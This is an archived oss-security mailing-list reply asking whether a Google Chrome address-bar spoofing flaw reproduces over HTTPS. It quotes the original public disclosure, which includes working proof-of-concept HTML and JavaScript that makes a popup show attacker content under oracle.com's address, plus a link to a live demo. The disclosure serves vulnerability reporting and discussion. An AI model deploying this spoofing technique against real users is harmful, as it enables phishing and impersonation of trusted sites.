oss-security - RE: Google Chrome Address Spoofing (Request For Comment)

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Tue, 30 Jun 2015 23:54:34 +0000
From: Zak Siddiqui <Zak.Siddiqui@....edu.au>
To: David Leo <david.leo@...sen.co.uk>, "bugtraq@...urityfocus.com"
	<bugtraq@...urityfocus.com>, "fulldisclosure@...lists.org"
	<fulldisclosure@...lists.org>, "oss-security@...ts.openwall.com"
	<oss-security@...ts.openwall.com>
Subject: RE: Google Chrome Address Spoofing (Request For Comment)

Hi David,

Is it reproducible with HTTPS?

Thanks,
Zak

-----Original Message-----
From: David Leo [mailto:david.leo@...sen.co.uk] 
Sent: Tuesday, 30 June 2015 4:08 PM
To: bugtraq@...urityfocus.com; fulldisclosure@...lists.org; oss-security@...ts.openwall.com
Subject: Google Chrome Address Spoofing (Request For Comment)

Impact:
The "click to verify" thing is completely broken...
Anyone can be "BBB Accredited Business" etc.
You can make whitehouse.gov display "We love Islamic State" :-)

Note:
No user interaction on the fake page.

Code:
***** index.html
<script>
function next()
{
	w.location.replace('http://www.oracle.com/index.html?'+n);n++;
	setTimeout("next();",15);
	setTimeout("next();",25);
}
function f()
{
	w=window.open("content.html","_blank","width=500 height=500");
	i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5);
}
</script>
<a href="#" onclick="f()">Go</a><br>
***** content.html
<b>This web page is NOT oracle.com</b>
<script>location="http://www.oracle.com/index.html";</script>
***** It's online
http://www.deusen.co.uk/items/gwhere.6128645971389012/
(The page says "June/16/2015" - it works as we tested today)

Request For Comment:
We reported this to Google.
They reproduced, and say
It's DoS which doesn't matter.
We think it's very strange,
since the browser does not crash(not DoS), and the threat is obvious.
What's your opinion?

Kind Regards,

PS
We love clever tricks.
We love this:
http://dieyu.org/

UTS CRICOS Provider Code: 00099F
DISCLAIMER: This email message and any accompanying attachments may contain confidential information.
If you are not the intended recipient, do not read, use, disseminate, distribute or copy this message or
attachments. If you have received this message in error, please notify the sender immediately and delete
this message. Any views expressed in this message are those of the individual sender, except where the
sender expressly, and with authority, states them to be the views of the University of Technology Sydney.
Before opening any attachments, please check them for viruses and defects.

Think. Green. Do.

Please consider the environment before printing this email.

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.